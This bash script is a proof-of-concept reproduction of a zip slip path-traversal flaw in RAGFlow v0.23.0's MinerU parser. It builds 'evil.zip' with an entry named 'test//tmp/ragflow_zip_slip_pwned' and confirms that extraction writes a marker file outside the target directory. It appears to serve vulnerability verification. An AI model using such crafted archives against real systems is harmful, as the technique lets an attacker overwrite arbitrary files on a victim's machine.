#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

REPO_DIR="$ROOT/ragflow"
WORK_DIR="$ROOT/repro_work"
ZIP_PATH="$WORK_DIR/evil.zip"
EXTRACT_DIR="$WORK_DIR/extract"
PWNED_FILE="/tmp/ragflow_zip_slip_pwned"

export REPO_DIR ZIP_PATH EXTRACT_DIR PWNED_FILE

python3 -m pip install --quiet numpy pdfplumber Pillow strenum requests beartype

if [ ! -d "$REPO_DIR" ]; then
  git clone https://github.com/infiniflow/ragflow.git "$REPO_DIR"
fi

cd "$REPO_DIR"
git fetch --tags

git checkout -f v0.23.0

rm -rf "$WORK_DIR"
mkdir -p "$WORK_DIR"

python3 - <<'PY'
import os
import zipfile

zip_path = os.environ["ZIP_PATH"]
root_dir = "test/"
malicious_name = "test//tmp/ragflow_zip_slip_pwned"

os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, "w") as zf:
    zf.writestr(root_dir, "")
    zf.writestr(malicious_name, "pwned")
PY

rm -f "$PWNED_FILE"
mkdir -p "$EXTRACT_DIR"

python3 - <<'PY'
import os
import sys
import types
import importlib.util

repo_dir = os.environ["REPO_DIR"]
zip_path = os.environ["ZIP_PATH"]
extract_dir = os.environ["EXTRACT_DIR"]

# Provide a minimal stub for deepdoc.parser.pdf_parser to avoid heavy imports.
stub_pdf_parser = types.ModuleType("deepdoc.parser.pdf_parser")
class RAGFlowPdfParser:
    pass
stub_pdf_parser.RAGFlowPdfParser = RAGFlowPdfParser
sys.modules["deepdoc.parser.pdf_parser"] = stub_pdf_parser

module_path = os.path.join(repo_dir, "deepdoc", "parser", "mineru_parser.py")
spec = importlib.util.spec_from_file_location("mineru_parser", module_path)
mineru_parser = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mineru_parser)

parser = mineru_parser.MinerUParser()
parser._extract_zip_no_root(zip_path, extract_dir, "test/")
PY

if [ -f "$PWNED_FILE" ]; then
  echo "[+] Vulnerability reproduced: $PWNED_FILE created"
  exit 0
fi

echo "[-] Vulnerability not reproduced: $PWNED_FILE missing"
exit 1
